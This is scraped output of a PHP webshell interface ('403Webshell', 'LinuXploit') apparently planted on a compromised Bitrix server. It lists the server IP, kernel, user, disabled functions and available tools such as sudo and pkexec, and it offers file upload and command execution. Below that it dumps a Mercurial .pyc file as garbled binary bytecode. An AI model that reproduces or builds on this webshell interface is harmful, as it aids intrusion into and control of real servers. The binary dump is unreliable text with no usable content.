403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /lib64/python3.9/site-packages/mercurial/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /lib64/python3.9/site-packages/mercurial/__pycache__/dirstateguard.cpython-39.opt-1.pyc
a

�+�bY�@sNddlmZddlZddlmZddlmZmZmZm	Z	Gdd�de	j
�ZdS)�)�absolute_importN�)�_)�error�
narrowspec�requirements�utilc@s8eZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�ZdS)
�
dirstateguardanRestore dirstate at unexpected failure.

    At the construction, this class does:

    - write current ``repo.dirstate`` out, and
    - save ``.hg/dirstate`` into the backup file

    This restores ``.hg/dirstate`` from backup file, if ``release()``
    is invoked before ``close()``.

    This just removes the backup file at ``close()`` before ``release()``.
    csx�|_d|_d|_�fdd�}|d|�|_�j����|j�d|_tj	�jvrn|d|�|_t
��|j�d|_dS)NFcs �jj|d�\}}t�|�|S)N)�prefix)ZvfsZmkstemp�os�close)r
�fd�fname��repo��=/usr/lib64/python3.9/site-packages/mercurial/dirstateguard.py�getname(s
z'dirstateguard.__init__.<locals>.getnamesdirstate.backup.%s.snarrowspec.backup.%s.T)�_repo�_active�_closed�_backupname�dirstateZ
savebackup�currenttransaction�_narrowspecbackupnamerZNARROW_REQUIREMENTrZsavewcbackup)�selfr�namerrrr�__init__#s�zdirstateguard.__init__cCs|jr|��dS)N)r�_abort�rrrr�__del__9szdirstateguard.__del__cCs\|jstd�|j}t�|��|jj�|j��|j�|j	rLt
�|j|j	�d|_d|_dS)Ns*can't close already inactivated backup: %sFT)
rrrr�AbortrrZclearbackuprrrZ
clearwcbackupr�r�msgrrrrAs��
�zdirstateguard.closecCs8|jrt�|j|j�|jj�|j��|j�d|_dS)NF)	rrZrestorewcbackuprrZ
restorebackuprrrrrrrrQs�zdirstateguard._abortcCs0|js,|js$td�|j}t�|��|��dS)Ns,can't release already inactivated backup: %s)rrrrrr!rr"rrr�releaseYs��
zdirstateguard.releaseN)	�__name__�
__module__�__qualname__�__doc__rr rrr$rrrrr	s
r	)Z
__future__rrZi18nr�rrrrZ
transactionalr	rrrr�<module>s

Youez - 2016 - github.com/yon3zu
LinuXploit